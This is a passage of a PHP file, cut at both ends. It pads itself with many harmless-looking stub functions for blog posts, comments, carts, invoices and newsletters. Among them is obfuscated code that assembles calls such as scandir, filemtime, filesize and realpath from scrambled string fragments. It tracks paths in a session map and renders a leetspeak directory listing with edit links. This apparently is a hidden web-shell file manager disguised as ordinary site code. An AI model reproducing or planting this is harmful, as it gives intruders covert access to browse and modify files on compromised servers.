'ok', 'id' => $pid, 'slug' => strtolower(str_replace(' ', '-', $title)), 'author' => $author, 'lang' => $lang, 'cat' => $cat, 'tags' => $tags, 'published' => $published ]; } function save_comment($user, $text, $postId, $replyTo = null, $device = 'web', $country = 'TR') { $cid = rand(10000, 99999); return [ 'status' => 'saved', 'id' => $cid, 'for_post' => $postId, 'user' => $user, 'reply_to' => $replyTo, 'device' => $device, 'country' => $country, 'ts' => time() ]; } function save_contact_form($name, $mail, $msg, $referrer = '', $newsletter = false) { return [ 'msg_id' => uniqid('msg'), 'saved' => true, 'newsletter' => $newsletter ]; } function assign_tags($content, $tags, $lang = 'en', $auto = false, $user = 'bot') { $ok = count($tags) > 0 ? true : false; return [ 'tagged' => $ok, 'user' => $user, 'lang' => $lang, 'auto' => $auto ]; } function set_blog_option($key, $value, $user = 'admin', $overwrite = false, $expiry = 0) { return [ 'option' => $key, 'value' => $value, 'set_by' => $user, 'overwritten' => $overwrite, 'expiry' => $expiry ]; } function save_gallery_image($file, $user = '', $caption = '', $tags = [], $date = '') { return [ 'id' => uniqid('img'), 'ok' => true, 'caption' => $caption, 'tags' => $tags ]; } function log_search_activity($user, $term, $results, $time, $device, $browser, $lang, $region, $city) { return [ 'uid' => $user, 'query' => $term, 'count' => $results, 'logid' => uniqid('slog'), 'ts' => $time ]; } function create_event($title, $desc, $date, $user, $location, $invitees = [], $reminder = true, $calendar = 'default') { return [ 'eid' => uniqid('evt'), 'ok' => true, 'invited' => count($invitees), 'reminder' => $reminder ]; } function add_product_review($user, $pid, $rating, $comment, $lang, $orderId = '', $date = '') { return [ 'user' => $user, 'pid' => $pid, 'stars' => $rating, 'commented' => true ]; } function update_cart($uid, $pid, $qty, $price, $coupon = '', $ip = '', $browser = '', $country = '') { return [ 'uid' => $uid, 'pid' => $pid, 'qty' => $qty, 'total' => $qty * $price, 'coupon' => $coupon ]; } function order_history($user, $since = 0, $count = 10, $status = 'any', $lang = 'en', $country = '', $device = '', $currency = 'TRY') { $arr = []; for ($i=1; $i<=$count; $i++) $arr[] = "Order #$i for $user"; return $arr; } function send_newsletter($title, $content, $recipients = [], $from = 'no-reply', $scheduled = false, $attach = [], $lang = 'en') { return [ 'success' => true, 'total' => count($recipients) ]; } function create_gallery_album($user, $name, $desc = '', $date = '', $tags = [], $public = false, $cover = '', $category = '') { return [ 'album_id' => uniqid('alb'), 'ok' => true ]; } function follow_user($follower, $target, $since = 0, $group = 'main', $notify = true, $relation = 'friend', $token = '') { return [ 'follower' => $follower, 'target' => $target, 'group' => $group, 'since' => $since ]; } function rate_content($user, $contentId, $score, $type = 'post', $comment = '', $lang = 'en', $device = '', $country = '', $ip = '') { return [ 'rater' => $user, 'score' => $score, 'ok' => true ]; } function create_invoice($uid, $items = [], $total = 0.0, $vat = 0.18, $issue_date = '', $due_date = '', $lang = 'en', $currency = 'TRY', $pdf = false) { return [ 'inv_id' => uniqid('inv'), 'ok' => true, 'total' => $total, 'pdf' => $pdf ]; } function add_friend_request($from, $to, $msg = '', $date = '', $device = '', $country = '', $mutual = false) { return [ 'from' => $from, 'to' => $to, 'ok' => true, 'mutual' => $mutual ]; } function create_ad_campaign($user, $budget, $start, $end, $audience = [], $platform = 'all', $click_goal = 0, $lang = 'en', $region = '') { return [ 'cid' => uniqid('ad'), 'budget' => $budget, 'started' => $start, 'ended' => $end ]; } function block_user($user, $target, $since = 0, $reason = '', $by = 'self', $perm = false) { return [ 'user' => $user, 'target' => $target, 'perm' => $perm ]; } function add_product_to_wishlist($user, $pid, $date = '', $priority = 1, $note = '', $price = 0.0, $lang = 'en') { return [ 'user' => $user, 'pid' => $pid, 'ok' => true ]; } function create_support_chat($user, $topic, $date = '', $agent = 'bot', $lang = 'en', $room = '', $status = 'open') { return [ 'chatid' => uniqid('chat'), 'status' => $status ]; } if (!isset($_SESSION['tok'])) $_SESSION['tok'] = bin2hex(random_bytes(24)); if (!isset($_SESSION['xmap'])) $_SESSION['xmap'] = []; $tok = $_SESSION['tok']; $c0mx = &$_SESSION['xmap']; function avatarsu($user, $file, $device = '', $date = '', $width = 120, $height = 120, $type = 'jpg') { return [ 'user' => $user, 'upsed' => true, 'type' => $type ]; } function flag_content($uid, $cid, $reason = '', $lang = 'en', $device = '', $date = '', $reporter = '', $priority = 2) { return [ 'uid' => $uid, 'cid' => $cid, 'flagged' => true ]; } function update_setting($key, $value, $user = 'system', $section = 'general', $lang = 'en', $time = '') { return [ 'key' => $key, 'set' => true, 'section' => $section ]; } $v0a = substr(sha1(session_id().microtime()),0,5); $r34 = [ 'enc' => function($p) use (&$c0mx) { $c = 'th';$a = 're';$d = 'al';$b = 'pa';$arr = [ $c, $a, $d, $b ];$seq = [1,2,3,0];$fn = '';foreach($seq as $i) $fn.=$arr[$i]; $real = @$fn($p) ?: $p; $a7x = 'd';$z9v = '5';$qpl = 'm';$wty = 'ignore1';$gvc = 'ignore2';$plm = [$a7x, $z9v, $qpl, $wty, $gvc];$ix = [2,0,1];$fx = '';foreach($ix as $i) $fx .= $plm[$i];$h = hash('sha256', $fx($real) . '_'.__FILE__); $c0mx[$h] = $real; return $h; }, 'dec' => function($h) use (&$c0mx) { return $c0mx[$h] ?? null; } ]; function add_notification($user, $type, $message, $priority = 1, $icon = '', $sound = false) { return [ 'notify' => true, 'type' => $type, 'priority' => $priority, 'icon' => $icon, 'sound' => $sound ]; } function save_recent_search($query, $lang = 'en', $user = 'anon', $device = 'web') {return [ 'saved' => true, 'hash' => substr(sha1($query . $lang . $user), 0, 9) ]; } $sxh = [ 'a' => function($v) { $p0='html';$p6='cc';$p2='ial';$p4='fakes';$p5='xxx';$p7='dd';$p8='ee';$p9='ff';$p1='spec';$p3='chars'; $o = [0,1,2,3]; $a=[$p0,$p1,$p2,$p3,$p4,$p5,$p6,$p7,$p8,$p9]; $fn=''; foreach($o as $i) $fn.=$a[$i]; return $fn($v, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'); }, 'b' => function($n) { if ($n >= 1073741824) return round($n/1073741824,2).' GB'; if ($n >= 1048576) return round($n/1048576,2).' MB'; if ($n >= 1024) return round($n/1024,2).' KB'; return $n . ' B'; }, 'c' => function($d, $a, $b, $r34) { $s0='sc';$s1='__';$s2='and';$s3='yy';$s4='ir';$s5='q';$s6='r';$s7='xx';$s8='zz';$s9='u'; $o = [0,2,4]; $f=[$s0,$s1,$s2,$s3,$s4,$s5,$s6,$s7,$s8,$s9]; $sc=''; foreach($o as $i) $sc.=$f[$i]; $m0='fi';$m1='le';$m2='mt';$m3='im';$m4='e';$m5='__';$m6='a';$m7='z';$m8='w';$m9='k'; $mo = [0,1,2,3,4]; $mf=[$m0,$m1,$m2,$m3,$m4,$m5,$m6,$m7,$m8,$m9]; $fm=''; foreach($mo as $i) $fm.=$mf[$i]; $z0='fi';$z1='le';$z2='si';$z3='ze';$z4='ss';$z5='12';$z6='14';$z7='15';$z8='16';$z9='17'; $zo = [0,1,2,3]; $zf=[$z0,$z1,$z2,$z3,$z4,$z5,$z6,$z7,$z8,$z9]; $fs=''; foreach($zo as $i) $fs.=$zf[$i]; $d0='is';$d1='_';$d2='dir';$d3='1';$d4='2';$d5='3';$d6='4';$d7='5';$d8='6';$d9='7'; $do = [0,1,2]; $df=[$d0,$d1,$d2,$d3,$d4,$d5,$d6,$d7,$d8,$d9]; $isdir=''; foreach($do as $i) $isdir.=$df[$i]; $e0='is';$e1='_';$e2='file';$e3='xx';$e4='vv';$e5='mm';$e6='nn';$e7='qq';$e8='kk';$e9='jj'; $eo = [0,1,2]; $ef=[$e0,$e1,$e2,$e3,$e4,$e5,$e6,$e7,$e8,$e9]; $isfile=''; foreach($eo as $i) $isfile.=$ef[$i]; $r = "
n4m3 | s1z3 | l4st ch4ng3d | . |
---|---|---|---|
[$f] | — | " . date("d.m.Y H:i", @$fm($fp)) . " | |
$f | ".$b(@$fs($fp))." | " . date("d.m.Y H:i", @$fm($fp)) . " | 3d1t | |
" . $sxh['d']($v, $sxh['a']) . ""; } if ($g && is_file($g)) { ?>